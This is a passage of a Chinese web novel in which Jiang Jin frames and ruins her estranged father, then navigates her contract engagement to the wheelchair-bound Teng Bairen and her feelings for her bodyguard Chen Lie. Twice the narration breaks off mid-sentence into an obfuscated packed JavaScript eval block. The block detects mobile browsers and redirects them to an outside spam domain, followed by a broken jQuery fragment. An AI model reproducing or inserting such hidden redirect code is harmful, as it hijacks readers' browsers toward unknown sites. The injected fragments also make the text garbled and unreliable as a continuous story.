她推开姜启川,拽着身边一年轻男人的领带往舞池而去。 那年轻男人大约是模特,混血儿,修长身材,戴着面罩也能看出俊朗如纳喀索斯。姜堇拽着他领带笑着与他跳探戈,笑得张扬,乐声震耳,周围是人群的掌声。 她那样夺目,人人为她喝彩。 一曲终了,舞曲换了风格,男模恭谨鞠一躬退下。姜堇独舞的身姿旋过众人,眸子含着魅惑的笑意,迤迤然对姜启川伸出一只纤细手臂。 像垂怜,像施舍。 姜启川忙不迭握住,像抓住最后一根救命稻草,由她引着进了舞池。 姜启川终于觉出自己的老态来。 这几日的精神折磨让他脊背不再挺拔,四肢也如灌铅般疲乏。可眼前的女人,那般年轻,那般鲜活,唇角的酒液让她如一朵润泽的玫瑰。 她身上有醉人的香气,宛如天堂。 姜启川昏沉沉地想:她是他女儿么? 眼前这个所有人可望不可及的女人,是他女儿么? 数十年前与他春宵一度的那个戏子,叫什么来着,提及她的名字会让姜堇为之心软吗……记不得了。 姜启川甚至摆了摆头,姜堇分明还告诉过他的,可他一点也记不起来了。 头愈发昏沉,不知是因为刚刚装样子喝的几杯酒,还是姜堇身上靡醉的香水味。 “姜小姐……” 姜堇唇瓣轻翕好像说着些什么,姜启川耷着沉重眼皮耳畔凑近了去听。却发现姜堇不是说话,耳畔舞曲强劲,她的舞姿也一拍拍带着定点力道,可她唇间哼的竟是靡靡戏音: “原来紫嫣红开遍,似这般都付与断井颓垣……” 当姜启川再度睁眼的时候,发现自己在一间休息室里。 复古浅铂金的贴纸,墙角一尊阿波罗与达芙妮的石膏雕像,他躺在丝绒沙发上,两侧的丝绒靠垫是孔雀蓝与鹦鹉绿。 太阳穴一跳一跳地胀痛,姜启川抬手按了下,发现自己另一手里沉坠坠的。 姜启川垂眸看了眼,汗毛乍竖—— 他手里握着一柄刀。 那柄刀他很熟,他曾从姜堇随身的包里翻出来过。 刀刃上沾着黏稠的血迹,正嘀嗒、嘀嗒,一滴滴淌在甜腻温柔的地毯上。 姜启川猛一下坐直了身子,太阳穴是炸开一般的疼,他稳住身形拼命忍下想呕的冲动。 忽听角落里传来一声轻笑。 姜启川立即看过去。 意想不到的,姜堇坐在角落的另一张丝绒沙发上。高跟鞋歪着地毯上,两条纤长小腿并拢了蜷在沙发上,像偷溜来舞会跳了太多舞的少女,百无聊赖地躲在这里休息。 一手还拎着酒杯,另一手无所事事地拽住旁侧落地灯的灯绳。 整间休息室的光源都来自那盏落地灯。 随着她一下下拽着灯绳。 啪嗒,啪嗒。 整间休息室明晦不定,人的心脏随之缩张,好似她掌控了人心跳的频率。她尚且戴着那只蝴蝶面具,蝶翼缀着那只红到发暗的蜘蛛。 她美到绝色的脸时而暴露在光线里,时而隐没入黑暗中,诡谲而有种令人惊心动魄的美。 姜启川立刻丢了那柄刀,低声喝问:“你想做什么?” 姜堇只是轻轻地笑。 姜启川暴起跨至姜堇面前,这诡异的情形让他神经紧绷到失控,他看上去想要扼住姜堇的咽喉:“你到底什么意思?” 可他堪堪停了手,不知这样做会不会又落进姜堇的另一重圈套。 有一瞬间他甚至不确定,这只蝴蝶面罩下的人是不是姜堇。 姜堇会不会躲在暗处、悬在半空,冷眼看着这一切。 也许七年前的姜堇早已和她母亲一起,被他给逼死了。 姜启川想到这里,忍不住汗毛倒竖。 姜堇轻翕双唇,语调近乎蛊惑:“还不跑?” 姜启川几乎夺门而逃。 他顾不得思考更多了,这里诡秘的氛围令他快要发疯。他狂奔过走廊,柔软长绒地毯宛若沼泽陷住他双足。 他一路跑得跌跌撞撞,双手在半空不停乱抓,好像要抓住什么带他脱离这困局似的。 他沿着墙根一路猛跑。化妆舞会酒局正酣,宾客们觥筹交错,好似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681273|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无人注意到他。只有端着托盘的侍应生沿墙根而行,近乎错愕地看着他。 他什么都顾不得了。 那两扇如教堂般高耸的门扉就在眼前,只要跑出去、只要跑出去…… 姜启川双肺有种近乎炸裂的痛感。他小时候家境优渥,长大后娶了门当户对的妻子,此生未这样狼狈地奔跑过。 他素来规整的发汗湿了黏在额前,那两扇木扉已不过咫尺,只要他伸出手去…… 扑通。 姜启川几乎以为是自己双腿一软跪了下去,其实不然,当他的脸被重重压在地板上、一阵剧烈的痛感传来,他才意识到是有人在背后扣押了他。 因他企图逃跑,动作格外激烈些。 姜启川拼命扭动脖子,挣扎着去看面前的木扉。 明明那样近了……明明就在眼前了…… 这时他的视线范围内,出现了一双优雅的高跟鞋,轻巧的脚步,好似随时都能用鞋尖踢一踢他的脸。 “就是他。”他听见自己的女儿、姜堇那冷漠又华丽的声线说:“我亲眼看见他从休息室跑出来的。” - 在警局的几天,是对人精神意志的摧毁。 无论姜启川如何解释他并不知刀刃的血迹从何而来,自然无人信他。 那柄刀被送去做化验。 传回来的结果令所有人震惊——那嘀嗒嘀嗒的血迹并非鲜血,而是红酒泼在陈年血迹上使之融化。 那血迹查询起来,与七年前一个在工地电梯井事故中去世的工人DNA一致。 对此姜启川三缄其口,表示自己毫不知情。 姜太太娘家到底是为着面子,在证据不足的情况下,动用最好的律师把姜启川给保了出来。 姜堇是在三个月后见到姜启川的。 那时姜启川投资的港岛项目已欠下巨额贷款,公司周转不灵已开始走财务清算流程。姜启川找去酒店,称若是不让他见到姜堇,他今日便从这里跳下去。 姜启川回到总统套房时,姜启川坐在沙发上,他身后是那巨幅的观景窗,江水蜿蜒而过,莺飞草长,已是深春。 滕柏仁坐在一旁的轮椅上,唤她:“Poppy,你有客人。” 姜堇将手袋随意扔在沙发上,一边偏着头摘去珍珠耳环,一边饶有兴致看着姜启川满脸的胡茬。 姜启川也是出来后才知道,当时姜堇抠住合同上一处他没细看的字眼,以合同有漏洞为由,在财务拨款前,提前撤回了合同。 他赔个精光,她全身而退。 “姜雪照。”他死死盯着姜堇:“我给你最后一次机会,给我填上银行贷款的窟窿。” 只要这样,他尚有回旋之力。 “最后一次机会?”姜堇笑道:“不然怎样?” 姜启川将一叠DNA报告摔到茶几上,看向滕柏仁:“七年前,我的一个私生女找上门来,逼我给她一笔巨款。她是由一个当戏子的妈生出来的,从小在老鼠遍布的窝棚里长大,跟着一个酗酒打人的继父长大,长成了这样一个贪婪虚荣的下等货色。” 滕柏仁静静坐在轮椅上:“姜先生,你的家事与我有什么关系?” “如果现在这私生女麻雀变凤凰,变成滕二少的未婚妻呢?” 滕柏仁睨姜堇一眼。 他的眼神总让人想起深海,阴冷,潮湿,沉郁得过分。被他瞧一眼,那挥之不去的触感黏在皮肤上。 滕柏仁问姜启川:“你知不知道Poppy跟我多久?” “四年。”滕柏仁道:“你觉得我为什么不相信四年的未婚妻,而相信你突如其来的一番话?” “因为滕二少应该很讨厌被骗。”姜启川掏出一只小小密封袋:“只要她一根头发,去跟我验DNA,滕二少,你不损失什么。” 滕柏仁再次看向姜堇,良久。 终是开口唤:“过来。” 姜堇朝他走过去。 她规驯地站在滕柏仁的轮椅边,滕柏仁又唤:“蹲下。” 她屈起左膝,在轮椅旁蹲下,微低着头,让人看不清她这一刻的神情。 她一切都是纤纤的。脚踝纤纤的,手腕纤纤的,包括那蹲下后格外柔软的腰肢,和修长的颈项,像只美丽而脆弱的金丝雀。 姜启川眯眼看着。 滕柏仁对待姜堇的态度,便似对待一只金丝雀。 他张开阴湿的手掌,轻抚上姜堇的头顶。姜堇的发丝浓而厚,摩挲在掌纹是丝绒般的触感。滕柏仁垂落着眼神,神情沉迷,可下一秒他一转手腕,似就能扯下姜堇的一缕头发。 轻而易举地,摧毁她。 61. 背影 姜堇始终那样静静蹲着,直到滕柏仁撩起她的一缕发。 滕柏仁俯下身来,挑起那缕长发在鼻端轻嗅了嗅,脸上神情如痴,可迟迟没有下一步动作。 姜启川不禁起了急:“我那私生女,和她那戏子出身的妈一样,是会勾引人的小妖精。滕二少你知不知道,日夜跟在她身边的那个保镖,从她高中开始就……” 他话说到这里,滕柏仁抬起眼皮,阴鸷的视线射过来。 姜启川蓦地噤声。 滕柏仁打个响指,总统套房的门打开来,门口出现一个高大人影,走进来的步调沉落。 姜堇因这步调抬眸,目光凝结一瞬。 陈列与姜堇有一短暂对视,随即移开眼神。 滕柏仁搭在姜堇头顶的腕子一转,扯下姜堇的一根长发来。姜堇翕了下睫毛,仍那样规驯地蹲着,一声不吭。 姜启川心里喝一声彩——这事成了。 “站起来。”滕柏仁一边漫不经心地唤姜堇,一边把玩着那根长发,却迟迟没有交予姜启川手中。 姜启川暗自捏着密封袋,掌心里全是汗。 却见滕柏仁轻飘飘将手里的那根长发一吹,目送它飞升至半空又落地:“Poppy,最近是不是没有好好做护理?你这根头发的质感,我不满意,拔了也罢。” 姜堇站在一旁尚能冷静回答:“是,我的错。” 滕柏仁对着姜启川掀起眼皮:“姜先生,你以为我会蠢到不知什么人进我卧室?” 他挑起一抹笑,望向姜堇:“不如你自己说说看?” 姜堇望着姜启川,开口: “姜堇,姜阿堇,怎么叫都行,现年二十六岁。母亲白柳絮,父亲姜启川,我是个不入流的私生女,童年在继父家的窝棚里长大……” 她冷静而语调平平,像在叙述不想干的她人故事。 滕柏仁另一手拎着只银质手杖,他用来够东西的。姜堇讲述这些时,他脸上始终挂着讳莫如深的笑意,抬起手杖来,理了理姜堇西装的衣领。 像一只冰凉的手抚在姜堇后颈,足令人起一阵毛骨悚然的鸡皮疙瘩。 他收回手杖,笑问姜启川:“你觉得没有我的帮忙,她怎么摇身一变成姜雪照,有父母在毛里求斯经商的大本营,有伯明翰城市大学的好学历?” 姜启川面色如土。 姜堇今日穿西装套装、裹住臀线的铅笔裙。滕柏仁蜷起食指指节,这时节他已开足冷气,贴住姜堇大腿皮肤摩挲的手指,如银质手杖寒凉。 姜堇阖了阖眼,又张开,看着姜启川: “七年前你的工地有工人坠入电梯井,那根本不是意外,他找到你工程不合规的漏洞,上门威胁你,让你拿钱给他老婆治病。你命人悄悄结果了他,才推入电梯井内,你给人的那柄刀,是一把很容易买到的水果刀,和我的那把一模一样。” “七年前你在化妆舞会找到我的刀,抹上你提前准备好的血。如果我对你不利,便把我卷入这事端,你一早验了我的DNA,想推说我为了赢回你的父爱,未经你的授意替你做这种铤而走险的事。” “姜启川,你要我给你最后一次机会。好,我可以给你。”姜堇笑着,那笑容让人联想起七年前她在警局路灯下,一点点哀伤,很多的苍凉。 她望着姜启川问:“我的妈妈、你年轻时爱过的女人,她叫什么名字?我告诉过你的,你还记得吗?” 姜启川张了张嘴,舌尖抵住后齿。 滕柏仁忽地一只茶杯朝他掷过去,他头一偏,在身后白墙上砸得粉碎。滕柏仁低喝:“滚,别在这里脏我的眼。” 姜启川不知自己是如何出了那房间。 “姜先生。”姜堇甜美的声线自身后传来。 姜启川冷汗涔涔地回头。 她今天分明没化七年前那般艳丽的妆,可不知为何,她笑起来的时候,让人想起七年前那探戈舞曲时天鹅般的绝唱。 “我劝你现在这处境,不要再花钱找好律师。”姜堇挑着唇角劝他:“你现在能用的手段,我百倍的强于你。” 姜启川这才注意到,姜堇今日穿一身黑色套装。 他很少见姜堇穿黑,除了那日在化妆舞会,再就是今天。无论那件黑色晚礼服,还是今日的西装,都有一种中世纪修女般的整肃。 好像这是一场祭奠。 祭奠七年前几乎毙命于姜启川手里的她自己,以及她的母亲。 姜堇缓步迈至墙角的黑胶唱机边,偏着头好似随意挑拣了张唱片,指尖挑起唱针放落,自己悠然倚靠在墙壁。 黑胶唱机里传来的,是莫扎特的《安魂曲》。 姜堇舌尖挂过唇瓣,跟着那曲调轻轻哼着,声线冷艳,因为显得格外诡异,更别提她垂落一只手贴着墙,指尖轻轻地敲着。 哒哒,哒哒。 哒哒,哒哒。 姜启川再也受不了这氛围,拔腿便走,哪怕外面等着他的是警车,哪怕他再无回旋的余地。 一时间,房间内只剩姜堇、陈列和滕柏仁三人。 无人说话,静得莫名。 直到姜堇挑起唱针、旋律戛然而止,令人心脏都跟着一缩。 姜堇朝滕柏仁笑道:“谢了。” 滕柏仁回她以笑:“说这些见外的干嘛?” “我们的合同正好到今天为止。”姜堇走到沙发边拿起自己的手袋,掏出合同来放在茶几:“四月二十六号。” 她望向窗外。 到这一天为止,白柳絮最喜欢的梨花,尽数落尽了。 她拎着手袋往房间外走去,擦过陈列身边时也没回一下头,好似对滕柏仁突将陈列找来这事浑不在意。 “等等。”滕柏仁沉郁的声音响起。 姜堇脚步顿了一顿,才弯唇回头:“还有事?” 一份合约,滕柏仁赋予她一个新身份,她替滕柏仁挡枪子。 各取所需,互不相欠。 滕柏仁笑道:“你赤条条一个人从非洲来,现在还要拎着我给你买的手袋走?” 姜堇也是洒脱一笑,将手里拎的手袋远远往沙发上一抛。 滕柏仁视线在她周身逡巡一圈:“还有这身衣服。” 姜堇很轻地抿了一下唇角。 陈列就站在她身旁不远处,她能闻见陈列身上的气息。 姜堇终是耸了耸肩,像是承认,笑望着滕柏仁,一颗颗开始解自己的西装纽扣。 陈列微一皱眉刚要唤她,听她笑容不改,红唇间很轻地溢出一声:“嘘。” 她脱下西装,又褪下铅笔裙,里面只剩一件轻薄的蜜合色衬裙,贴着她姣好起伏的身段,胸前因隆起呈出深深的沟壑。 她的高跟鞋也脱了,细腻鹅卵石一般的脚趾踩着长绒地毯。 四月的天乍暖还寒,滕柏仁的房间内却已开极低冷气,姜堇感到自己小臂起了层细密的鸡皮疙瘩。因为冷,她的皮肤显得有些苍白。 滕柏仁安然坐在轮椅上。 他伸出那支银质拐杖,拨弄着姜堇放在茶几的那份合约,一页页轻翻。 末了抬眸看向姜堇,又扫一眼陈列,目光似是玩味。 “Poppy。”他笑问姜堇,银杖指一指陈列:“你想吻他吗?” 姜堇挑起唇角来。 她穿着那件轻薄的衬裙,一步步走向陈列。她越来越近,陈列能闻见她身上的冷香,看清她皮肤的纹理和颤动的睫,她身上的温度袭过来,逗弄着陈列的每一个毛孔。 陈列深一蹙眉,后退一步:“你是不是疯了?” 她却贴前一步,拽住陈列的卫衣领口。 贴上来的姿态似一片轻盈羽毛。 陈列觉得这屋里的人都疯了。无论如何滕柏仁是姜堇名义上的未婚夫,他从未想过有一天会当着滕柏仁的面与姜堇接吻。 可他躲不开姜堇。事实上姜堇并非吻她,咬上他下唇的姿态如小兽,很快有血腥气溢开来。 姜堇笑着退开去,指尖抹去唇瓣所沾陈列的血。 滕柏仁盯着姜堇问:“味道好么?” 姜堇又一耸肩,完全无所谓地道:“还行。” 滕柏仁哈哈大笑,再度看向陈列的眼神让人觉得熟悉。 陈列想起来了。 那日姜堇在舞池里与男舞伴热舞,滕柏仁看着那男人时,也是这般的眼神。 好像男人是一条狗。不,甚至不是狗,是某种静物,供姜堇手里把玩一阵,贡献某种不深入灵魂的欢愉。 姜堇这女人看起来没有心。她轻佻的态度,让滕柏仁觉得陈列也是她的某件玩物。 “Poppy,为什么要走呢?”滕柏仁用手杖阖上合约:“这份合约到期了,我们可以签下一份。我们结婚好不好?我给不了你的是什么,健全的双腿,健硕的肌肉?……” 他无限随意地扫陈列一眼:“你大可以随便玩。” 陈列脊骨发寒,刚要说话。 姜堇先他一步开口,还是笑得轻曼:“你确定?我这人胃口很大的,送我一纸婚书,我会狮子大开口。” 滕柏仁犹自笑着:“你试试看。” 姜堇朝滕柏仁走过去,路过陈列身边时,指尖很轻地掐他一把,掩在陈列的卫衣里。 那一下的意思很明确:想活命,就别说话。 姜堇就穿着那件蜜合色的衬裙,将滕柏仁的轮椅推至观景窗边,手还如过去那般搭在滕柏仁肩头。 她的手因过足的冷气微微颤抖。滕柏仁覆上她手背,说不上谁的手更凉,他唇间轻轻哼着:“Littlepoppy,sweetpoppy……” - 姜堇又一次出现在机场,是送姜太太携一双儿女出国。 姜启川已锒铛入狱,起诉之前,还有更多罪名尚待查实。 入了五月,煦暖时可以穿轻薄单衣,可今日天色阴霾,姜堇穿一件卡其色风衣,领口立起来。风卷着她风衣下摆,她站在机场外同姜太太说话。 姜太太:“姜小姐,谢谢你提醒我早收集证据,跟他起诉离婚。” 姜堇只是摇头。 她今天分外沉默。 她帮姜太太的原因很简单。不是因为她好心,而是七年前她走投无路求去姜启川家里、想求姜启川施舍给她母亲一份医药费。 姜启川勃然大怒,赶她出门,那时是姜太太替她说了一句:“启川,你就给她吧。” 虽然姜启川并未应允。 但姜堇始终记得她的这一句。 姜堇同她说:“保重。” 转身便准备登上候着她的劳斯莱斯。 “姜小姐。”姜太太唤住她:“听说你要跟滕二少结婚啦?” 姜堇笑着回眸:“是。” “恭喜啊。”姜太太犹豫一阵,终是忍不住说:“婚姻对女人来说是很重要的,你要好好想清楚。” 这是她的切身之言了。 姜堇笑着从手袋里掏出一张港岛身份证来,递到姜太太面前。 姜太太垂眸去看。 姓名那一栏,清清楚楚写着:「姜雪照」。 “姜太太,你说姜雪照想要的是什么?”姜堇笑着把身份证装回手袋:“求仁得仁而已。” 风卷着她风衣下摆,她踩着细到堪折的高跟鞋,登上了身后的劳斯莱斯。 陈列跟在她身后,姜太太女儿在过安检前,不忘朝他喊:“帅哥,你到底交女朋友没有?不如跟我一起去澳洲啊。” 她嘻嘻笑,满脸十九岁的单纯与天真。 陈列看她一眼,随姜堇登上车。 其实姜堇怕冷,童年在破船舱里冻出了坏体质。她独自坐车时要开暖气,暖雾蒙在车窗上,她纤白指尖涂涂抹抹擦去那雾气,眺望着窗外的街景。 “都走了……”她指尖贴着窗玻璃,低喃的语调似自言自语。 近日关于滕二少大婚在即的消息铺天盖地。 圈内人人对滕家有窥视欲,传说滕二少对未婚妻宠得不得了。 有人传说他在公海上包了一艘邮轮,将要狂欢三个昼夜不休。 有人传说婚礼将奢侈地全用鲜花,繁冗到滕家去问询了邮轮的最大载重量。 有人传说滕二少现身伦敦的一场苏富比拍卖,拍走了英国皇室的一枚海蓝宝戒指。 也有人嘲讽,若非如此,人家有颜有才,何必嫁给一个残废?姜堇的助理将平板呈到她面前,问要不要处理这些声音。 姜堇笑一笑说不用,靠在椅背上撑着侧颊的动作有些恹恹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686528|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 直至劳斯莱斯开至临江路,姜堇唤司机停车,要下去透口气。 陈列跟在她身后。 江边堆着不规则石块垒成的堤坝,风随着一点点江水的腥味卷过来,也染了石块的灰白调。 这时节的南方尚有江鸥,展翅掠过两人的头顶。若有个镜头拉远了去看,便会看见姜堇踩着细高跟鞋走在前面,陈列隔着半人开的距离跟在他身后。 风卷着他墨色大衣的下摆,随浪潮翻涌。 姜堇背手走着,忽地一个转身。 “?”陈列问:“怎么?” 姜堇笑着摇一摇头转回身去,声音才背对着陈列传来:“只是觉得,你好像总在看着她的背影。” 江风刮着她墨色的长发乱舞。 陈列默然走在她身后,心想:单看背影的时候,她反倒更像七年前的她。 让人情不自禁想对着她背影伸出手去。 跨江而过的大桥是门面工程,桥头铸成西周大克鼎的形状。桥洞镂空,矗在江边的泥泞里似远古巨人的双足。 姜堇走进去,指节轻轻叩在洞壁的声音似有回响。 她背倚住墙,望向陈列的双眸尚噙笑意。 桥梁特殊的材料让桥洞里屏蔽了一切的信号,冬日天寒,并无其他人漫步江边。带给人一种错觉,好像两人置身于一个渺无人烟的山洞。 姜堇缓缓吐出一口气来,对着陈列挑起纤白的手。 陈列问:“什么?” “烟。” 陈列顿了顿才道:“我的烟很便宜,你也抽得惯?” 姜堇挑起一边唇角:“雪茄也烈,你的烟也烈,能有多大不同?” 陈列这才从口袋摸出烟盒来。 姜堇从里面抽出一根来,低头。陈列掏出火机给她点烟,她手指半拢,看烟的眼神比看人专注,头发顺着一边侧颊垂下。 真奇怪,分明她的五官这样清冷,却又时时透出惊人的妩媚。 她仰起俏丽的下巴冲陈列微笑,一口浓烟喷在陈列脸上。她半搭眼皮的神情透三分慵懒,可一只高跟鞋往后踩着墙面的动作又透出野性。 又对着陈列扬了扬手。 那意思是:你不抽。 陈列摸了根烟出来,点了,却就那样夹在指间,没往唇边送。 姜堇:“有点好笑的。” 陈列:“嗯?” 姜堇微眯着眼:“像这样躲在桥洞里抽烟,好像回到十七岁。一中老师管那么严,男生们那时抽烟都要躲起来,我知道。” “你那时又不抽烟。” 姜堇笑道:“我变了很多,对吧?” 一阵漫长的沉默,当姜堇越过鼻尖、盯着唇间猩红的烟头,陈列突然开口:“你是不是一定要结这个婚?” 姜堇的眼神一点点从烟头往上抬,落到陈列脸上,才勾起唇角:“怎么,舍不得啊?” 陈列:“你想清楚了?” “我要想什么?”姜堇仍那样漫不经心地笑着:“若真要我用脑子去想,我觉得柏仁的提议也很好。名誉,金钱,地位,有什么是他不能给我的呢?甚至,他可以让你当我的情人,在滕家的庇护下,你也永远不怕你那赌鬼老爸再来找麻烦。” 陈列跟着她一勾唇,点头:“哦,所以你想清楚了。” 他走到姜堇面前来,抬手,抓住姜堇的后脑。他的手总显粗糙,动作也并不温柔,姜堇柔软的发丝缠上去。 姜堇轻轻说了声:“头发。” 陈列却并没放手,一手抓着姜堇的后脑,带着她仰起尖俏的下巴、双眸看进他墨黑的眼底。 “让我当你的情人?嗯?”这句话被陈列说得并不旖旎,透着点凶。 他夹着烟的手指堵在一边,像把姜堇堵在一个狭小的空间里。他刚刚只在点烟时抽了一口,垂眸低头时却有浓烈的烟草味道传来。 姜堇轻抿着自己的舌尖,她嘴里有与他相同的烟草味,只让她有种错觉,好像他已经长驱直入地吻了进来。 暴烈,直接,一点也不温柔,搅弄着她的唇舌,像他十八岁时那样。 不知为何姜堇想起他和其他女人买烤红薯的一幕。 心里却很确信这么多年他的吻技一点也没提高。 “怎么当你情人?这么当?”陈列点墨般的眉眼越靠越近,呼吸近在咫尺,他每天都刮胡子,可这样的距离姜堇仍能看见他唇边青色的胡茬。 陈列几乎是朝她压过来:“还是这么当?” 她能感到陈列身体某处起了变化,明显的,压过来的感觉几乎让她吃痛。 她屏着呼吸,就那样倔强地望着陈列。 却在陈列的呼吸只有一毫时,终是很轻地咬住下唇,眼神仍是倔强地看着他。 陈列终是狠狠放开她的头发,退开两步,说不上两人谁的呼吸更乱为一塌糊涂。 陈列把烟含到唇间,一颗颗扣住大衣纽扣、掩住某处明显的隆起。抽着烟往外走时甩下一句:“我还以为你这样的女人,真的不知道怕。” 姜堇独自在桥洞里站了一会儿,才突然快步朝外走几步,站在桥洞边缘、那屏蔽窃听器信号的分界线上。 “陈列。”她叫住他:“我们十七八岁的时候买过烤红薯么?我都不记得了。” 她问:“你给我买过烤红薯吗?” 陈列回过头,他的烟太浓,抽烟时总习惯微眯着眼。 他用粤语回答:“没有啊,姜小姐。” 姜堇的心里陡然一跳。 那是她第一次在别人身上体会到语言的威力。陈列去过世界上很多国家,跟各路牛鬼蛇神打交道,讲起粤语来很标准,一点没口音。 跟姜堇记忆中总是站在甲板抽烟、说起普通话来带一点山城口音“n”、“l”不分的少年,那么不一样了。 姜堇走出桥洞去。 正是柳絮漫天的季节。姜堇走着倏一抬头,翩飞的柳絮似从记忆棉花糖上扯下来的,它飞走一点,人残存的记忆就少一点。 姜堇望着陈列的背影。这是她第一次望着陈列的背影吗? 原来不止她一个人在往前走。 也许有一天她回头看的时候,记忆里那木头老朽的甲板上,只洒满荡涤的月光、早已空无一人了。 62. 浪漫的反面 “嗨Poppy。”滕柏仁操控着轮椅在姜堇身边转了一圈。 姜堇垂下眼睫,笑着回应他:“嗨。” 那时她站在高定婚纱店的试妆台上,所有店内最奢贵款式的婚纱,都由大中华区的总监服侍着亲自呈过来,姜堇一一试过,一旁茶几上备新鲜的花果茶和茶点,而高级黑的店门口早已摆牌说明“今日恕不待客”。 姜堇每试穿一件,滕柏仁就操控着轮椅、围着她绕一圈,与她打招呼:“嗨Poppy。” 好似一种试验。 试验哪件婚纱里套着的,才是他的意中人。 姜堇每每耐心地答他:“嗨。” 走出婚纱店,姜堇已换回白西装阔腿西裤的利落打扮。她今日有个会,要半小时内赶到半个城市之外,时间赶得很。 助理隐晦提醒:“滕家以前也尝试过一些跟上层的合作项目,规章太繁冗,大多是不能成的。” 姜堇只是笑。 助理也跟着笑一笑,心里已有计量:这是滕氏少夫人在正式入主之后,要拿出一份成绩,镇所有人一镇呢。 她只将一只精致托盘呈到姜堇面前:“姜小姐你最近累瘦了,吃点下午茶吧,太瘦穿婚纱撑不起来的。” 婚期定在六月十七日。 豪门规矩多,一张张婚礼请柬印得精致,落款处却要姜堇亲自签名,再盖一枚小小印鉴。那日姜堇俯在景观窗前写请柬,陈列站在她身后,看她笔力遒劲签下“姜雪照”三字。 说真的,她已很适应这身份了。 有时陈列看着她过分精致的脸也会陷入一瞬恍然:好像她从来就是这样的豪门千金,他从来就是他的保镖。 因他刺头不听话,所以她从来都想驯服他。 他们从没有过那样的十八岁。一切都是陈列躺在暗室里狭窄的单人床上,所做的南柯一梦。 总统套房的门忽然洞开,一个小小男童跑进门来。 唤滕柏仁:“小舅舅。” 滕氏开枝散叶,远亲众多,曾今过分繁复的亲缘关系令姜堇头疼。这小小男童,是婚礼上送戒指的花童,在远亲里千挑万拣,才挑到这个年龄合适的—— 身高不能高过滕柏仁的轮椅。 滕柏仁看上去对孩子兴致缺缺,随便敷衍一句问:“手里拿的什么?” 滕柏仁只是想,从前家族里人人对他萎缩的双腿、阴郁的神情避之不及。 到了现在,婚期还未至,便把自家孩子送来谄媚。 小孩子却不懂这些,只是一派天真答滕柏仁的话:“测谎仪。” “什么测谎仪?” “小舅舅你这都不懂。就是这样,这个夹子夹住你食指,我问你一个问题,你得说真话,它才不会电你。” 小男孩咯咯地笑:“我妈妈让我来问,小舅舅,你爱小舅妈吗?” 滕柏仁沉郁笑着睨姜堇一眼:“我爱她碎成一片片的心。” “是真的哎未来小舅妈。”小男孩扬起面孔朝姜堇笑:“小舅舅说爱你是真的!” 姜堇从一堆请柬里抬起头来微笑。 滕柏仁注视着她。 “怎么?”姜堇半开玩笑地问:“要我也来测一测么?” 她伸出食指,逗弄那小男孩,唤他:“过来。” 她看上去太镇定了。 陈列几乎怀疑她是否经受过什么测谎训练。 当小男孩扑进姜堇怀里,滕柏仁却开口:“等等。” 他阴鸷的目光投向陈列:“Poppy与我知根知底,没什么意思。不如,你来玩?” 陈列在桌边坐下。 小男孩拿那小小玩具一般的测谎仪,夹住陈列食指。 龚哲站在滕柏仁身后。 作为保镖,他自然明白陈列同他一样、经受过专业的测谎训练。可是…… 龚哲又垂眸看一眼那塑料简易的测谎仪,想起那晚他在总统套房门口、撞见陈列疾步而出的一幕。那时他刚在电话里替姜堇打掩护,称陈列不在房里。 陈列的脖根有汗,努力平复的呼吸尚有一丝急促。 龚哲同为男人,大约猜到那是因为什么。 滕柏仁远远坐在轮椅上,叫陈列:“看着我的未婚妻。” 陈列对着姜堇抬起眼皮。 “Poppy,你也看着他。” 姜堇望着陈列,眼神恬静。 陈列从未想过,有一天他会在滕柏仁面前与姜堇长久对视。 最能出卖一个人的,是眼睛。 无论姜堇的妆容怎么变、头发怎么变、神情怎么变,可是眼睛不会变。睫毛纤长,浅浅的棕色似小鹿。 陈列很轻地滚一下喉结。姜堇笑得淡然,可陈列瞥见她在滕柏仁看不见的角度,于茶几下轻轻攥起掌心。 这样长久的对视,竟比那日当着滕柏仁的面接吻,让人更有赤身裸体之感。 滕柏仁问陈列:“你爱我的未婚妻么?” 陈列望着姜堇浅棕的双瞳:“不。” “那么,”滕柏仁操控着轮椅过来,拿起姜堇方才签名的那支钢笔,漫不经心地把玩:“你爱过任何人么?” 陈列刚要看向滕柏仁。滕柏仁一声暴喝:“不准移开眼睛!”钢笔狠杂过去,陈列一篇头,钢笔撞上墙壁墨水迸溅开来。 像一朵血迹暗沉的花。 小男孩看傻了。室内还有滕柏仁的两名保镖,谁都没有说话没有动。 陈列继续看着姜堇的双瞳:“不算爱过。” “因为,现在还爱着。” 姜堇的双唇很轻地一抿。 龚哲远远站着,汗都出来了:陈列干什么这是?说假话不就好了?这种破塑料测谎仪怎么可能测得出来? “喔?”滕柏仁语调玩味:“是谁?我认识她么?” “不认识。”陈列平静地说:“你从来没有认识过她。” 陈列说着忽地站了起来,在所有人未来得及反应时,忽地一记左钩拳狠狠砸上滕柏仁的鼻梁。 沉重的金属轮椅不堪这突然的暴击,向后倒去。滕柏仁狼狈地摔倒在地,轮椅侧翻压住他萎缩的双腿,他挣了两挣,终是抵不过轮椅的重量,喉咙里嘶嘶地喘着粗气。 陈列犹然攥着他衬衫衣领,盯住他的眼神似一只豹。 “陈列!”龚哲是最快反应过来的,立刻上前拽陈列。 陈列一把猛搡开龚哲,将滕柏仁的衣领往上拎,对上滕柏仁长年不见阳光而面无血色的一张脸。 